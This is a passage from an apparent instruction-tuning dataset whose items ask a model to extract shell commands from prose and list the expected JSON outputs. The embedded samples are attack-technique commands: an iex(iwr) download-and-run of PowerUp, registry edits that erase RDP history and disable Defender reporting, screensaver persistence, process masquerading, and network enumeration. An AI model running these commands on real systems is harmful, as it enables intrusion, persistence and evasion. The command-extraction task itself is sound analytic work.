}\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can delete all saved RDP connection information with the following registry operations: reg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\" /va /f\nreg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers\" /f\n; Windows error reporting can be disabled by modifying the registry with this command: reg add HKLM64\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Reporting /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f\nreg add HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Reporting /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f",
    "output": "{\"command_list\": [\"reg delete \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Default\\\" /va /f\\nreg delete \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Servers\\\" /f\\n\", \"reg add HKLM64\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Reporting /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f\\nreg add HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Reporting /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This PowerShell script identifies the local /24 network range using ipconfig and performs nslookup on each IP in that range, which can be executed with the following command:\n$localip = ((ipconfig | findstr [0-9]\\.\\\\.)[0]).Split()[-1]\n$pieces = $localip.split(\".\")\n$firstOctet = $pieces[0]\n$secondOctet = $pieces[1]\n$thirdOctet = $pieces[2]\nforeach ($ip in 1..255 | % { \"$firstOctet.$secondOctet.$thirdOctet.$_\" } ) {cmd.exe /c nslookup $ip}; This tool performs DNS record enumeration for internal networks, displaying zones in the terminal when you use the command: \"#{venv_path}\\Scripts\\adidnsdump\" -u #{user_name} -p #{acct_pass} --print-zones #{host_name}\n",
    "output": "{\"command_list\": [\"$localip = ((ipconfig | findstr [0-9].\\\\.)[0]).Split()[-1]\\n$pieces = $localip.split(\\\".\\\")\\n$firstOctet = $pieces[0]\\n$secondOctet = $pieces[1]\\n$thirdOctet = $pieces[2]\\nforeach ($ip in 1..255 | % { \\\"$firstOctet.$secondOctet.$thirdOctet.$_\\\" } ) {cmd.exe /c nslookup $ip}\\n\", \"\\\"#{venv_path}\\\\Scripts\\\\adidnsdump\\\" -u #{user_name} -p #{acct_pass} --print-zones #{host_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Attackers with appropriate permissions can execute malicious commands within cluster containers by leveraging the docker exec functionality. For instance, they might build and run a container with a legitimate OS image like Ubuntu, then remotely execute code via the following commands: docker build -t t1609  $PathtoAtomicsFolder/T1609/src/ \ndocker run --name t1609_container --rm -itd t1609 bash /tmp/script.sh\ndocker exec -i t1609_container bash -c \"cat /tmp/output.txt\"; To achieve persistence by setting a binary as the screensaver, first export the current registry settings with the command: reg export \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" %userprofile%\\backup.reg\ncopy #{input_binary} \"%SystemRoot%\\System32\\evilscreensaver.scr\"\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaveActive /t REG_SZ /d 1 /f\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaveTimeout /t REG_SZ /d 60 /f\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v SCRNSAVE.EXE /t REG_SZ /d \"%SystemRoot%\\System32\\evilscreensaver.scr\" /f\nif #{reboot} NEQ 0 shutdown /r /t 0",
    "output": "{\"command_list\": [\"docker build -t t1609  $PathtoAtomicsFolder/T1609/src/ \\ndocker run --name t1609_container --rm -itd t1609 bash /tmp/script.sh\\ndocker exec -i t1609_container bash -c \\\"cat /tmp/output.txt\\\"\\n\", \"reg export \\\"HKEY_CURRENT_USER\\\\Control Panel\\\\Desktop\\\" %userprofile%\\\\backup.reg\\ncopy #{input_binary} \\\"%SystemRoot%\\\\System32\\\\evilscreensaver.scr\\\"\\nreg.exe add \\\"HKEY_CURRENT_USER\\\\Control Panel\\\\Desktop\\\" /v ScreenSaveActive /t REG_SZ /d 1 /f\\nreg.exe add \\\"HKEY_CURRENT_USER\\\\Control Panel\\\\Desktop\\\" /v ScreenSaveTimeout /t REG_SZ /d 60 /f\\nreg.exe add \\\"HKEY_CURRENT_USER\\\\Control Panel\\\\Desktop\\\" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f\\nreg.exe add \\\"HKEY_CURRENT_USER\\\\Control Panel\\\\Desktop\\\" /v SCRNSAVE.EXE /t REG_SZ /d \\\"%SystemRoot%\\\\System32\\\\evilscreensaver.scr\\\" /f\\nif #{reboot} NEQ 0 shutdown /r /t 0\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To perform a remote file copy (push), use the following command: rsync -r #{local_path} #{username}@#{remote_host}:#{remote_path}\n; You can pull files from a remote server by executing this rsync command: rsync -r #{username}@#{remote_host}:#{remote_path} #{local_path}",
    "output": "{\"command_list\": [\"rsync -r #{local_path} #{username}@#{remote_host}:#{remote_path}\\n\", \"rsync -r #{username}@#{remote_host}:#{remote_path} #{local_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To masquerade the sh process as the cron daemon, use the following command: cp /bin/sh /tmp/crond;\necho 'sleep 5' | /tmp/crond\n; This technique involves copying and renaming cscript.exe before execution, which can be done with this command: copy %SystemRoot%\\System32\\cscript.exe %APPDATA%\\notepad.exe /Y\ncmd.exe /c %APPDATA%\\notepad.exe /B\n",
    "output": "{\"command_list\": [\"cp /bin/sh /tmp/crond;\\necho 'sleep 5' | /tmp/crond\\n\", \"copy %SystemRoot%\\\\System32\\\\cscript.exe %APPDATA%\\\\notepad.exe /Y\\ncmd.exe /c %APPDATA%\\\\notepad.exe /B\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For masquerading one Windows executable as another, first copy and rename the file, then launch it via this command: copy \"#{inputfile}\" #{outputfile}\n$myT1036_003 = (Start-Process -PassThru -FilePath #{outputfile}).Id\nStop-Process -ID $myT1036_003; This technique involves copying cmd.exe to lsm.exe and executing it from a non-standard path, which can be achieved with the command: copy C:\\Windows\\System32\\cmd.exe C:\\lsm.exe\nC:\\lsm.exe /c echo T1036.003 > C:\\T1036.003.txt\n",
    "output": "{\"command_list\": [\"copy \\\"#{inputfile}\\\" #{outputfile}\\n$myT1036_003 = (Start-Process -PassThru -FilePath #{outputfile}).Id\\nStop-Process -ID $myT1036_003\\n\", \"copy C:\\\\Windows\\\\System32\\\\cmd.exe C:\\\\lsm.exe\\nC:\\\\lsm.exe /c echo T1036.003 > C:\\\\T1036.003.txt\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For user and group enumeration, execute these commands: groups\nid\n; Local user and group enumeration can be performed using these utility commands: dscl . list /Groups\ndscl . list /Users\ndscl . list /Users | grep -v '_'\ndscacheutil -q group\ndscacheutil -q user",
    "output": "{\"command_list\": [\"groups\\nid\\n\", \"dscl . list /Groups\\ndscl . list /Users\\ndscl . list /Users | grep -v '_'\\ndscacheutil -q group\\ndscacheutil -q user\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands 